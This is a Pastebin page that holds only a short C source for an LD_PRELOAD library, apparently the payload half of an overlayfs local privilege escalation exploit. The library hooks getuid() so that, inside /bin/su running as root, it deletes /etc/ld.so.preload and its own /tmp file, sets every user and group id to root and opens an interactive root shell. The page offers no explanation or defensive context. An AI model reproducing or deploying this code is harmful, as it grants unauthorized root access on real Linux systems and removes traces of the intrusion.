Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <unistd.h>
- uid_t(*_real_getuid) (void);
- char path[128];
- uid_t
- getuid(void)
- {
- _real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
- readlink("/proc/self/exe", (char *) &path, 128);
- if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
- unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
- setresuid(0, 0, 0);
- setresgid(0, 0, 0);
- execle("/bin/sh", "sh", "-i", NULL, NULL);
- }
- return _real_getuid();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement